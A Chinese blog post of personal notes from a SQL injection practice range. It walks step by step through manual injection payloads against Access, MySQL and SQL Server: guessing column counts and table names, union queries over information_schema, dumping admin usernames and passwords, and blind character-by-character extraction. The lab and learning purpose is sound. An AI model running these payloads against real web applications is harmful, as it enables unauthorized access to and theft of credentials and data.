sql手注—笔记

这是我在墨客的靶场的笔记,记下来,备用。参考墨者的攻略,我感觉我写的自己看的还是很舒服的,嘿嘿嘿。

SQL+Access

目标:http://127.0.0.1/?id=1

http://127.0.0.1/?id=1 测试注入,报错

http://127.0.0.1/?id=1=1(正常回显)http://127.0.0.1/?id=1=2(报错)

http://127.0.0.1/?id=1 order by * 猜字段 *代表猜的数字,正常表示字段数,报错继续猜。

http://127.0.0.1/?id=1 and exists (select * from admin) admin是猜出来的表,返回正常证明此表存在,报错继续猜。*号猜admin表里的列,如:usernamepassword等。正常返回表示有该,错误则证明没有该,继续猜。

http://127.0.0.1/?id=1=2 union select 1,2,3,4 from admin 联合查询,报错页面显示数字表示可查询,如页面显示2,3 可直接用usernamepassword替代2,3,可直接查询。

SQL+Mysql

首先测试是否有注入,猜字段,方法如上

http://127.0.0.1/?id=1=2 union select 1,database(),version(),4 联合查询,报错页面显示当前数据库和版本。

http://127.0.0.1/?id=1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
数据库information_schema、表SCHEMATA、列SCHEMA_NAME
information_schema是MySQL系统自带的数据库。
limit 0,1意思是从第0行起,取第1行数据,information_schema为获取的第1个数据库名称。

http://127.0.0.1/?id=1 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 1,1第1行起,第1行数据。更改limit *,1获取数据库如:mysqlsys等。继续查询,直到报错。大佬都是凭感觉猜,贼牛逼!!!吹爆老大!!!

http://127.0.0.1/?id=1 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=’mysql’ limit 0,1 查询mysql数据库的第0行,第1个表,如:admin。继续查询,直到报错。

数据库:mysql
表名:admin 这是爆出来的数据库和管理员表。

http://127.0.0.1/?id=1 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=’mysql’ and TABLE_NAME=’admin’ limit 0,1 查询数据库mysql中的admin表第一个字段名称类型,同等方法查询第二个字段,查出来的字段如:id、usernamepassword。类型如:整型(int)字符型(varchar)

http://127.0.0.1/?id=1 union select 1,count(*),3,4 from mysql.admin 查询mysql数据库中的admin表数据总数。

http://127.0.0.1/?id=1 union select 1,CONCAT(username,’-‘,password,’-‘,status),3,4 from mysql.admin limit 0,1 查询数据库mysql中的admin表第0行,第1个数据,间隔用“-”表示,查询别的表数据,如上语句。status账户状态为0=无权限 1=权限。

SQL Server数据库

测试注入,原理同上。

http://127.0.0.1/?id=1 and exists (select * from manage)
盲注,返回正常,证明存在manage数据库,更改“*”为username,返回正常在manage找到username字段,同理找到password字段。

http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(username,1,1))=97 and ID=1)
判断manage数据库表中id=1的username字段第一位字符,返回正常。根据ascll表对照,第一位是“a”。

http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(username,*,1))=* and ID=1) 同理猜测后面所有。

http://127.0.0.1/?id=1 and exists (select id from manage where unicode(substring(password,*,1))=* and ID=1) 同理猜测password,同理猜测后面所有。

说实话,碰见这种,直接工具吧,手工是真的慢。。。。。

上面文章写作参考自墨者学院:墨者

发布者:yuban

这个人很懒,请各位大佬对他的网站手下留情。在这谢谢您了。

加入对话

1条评论

留下评论

电子邮件地址不会被公开。 必填项已用*标注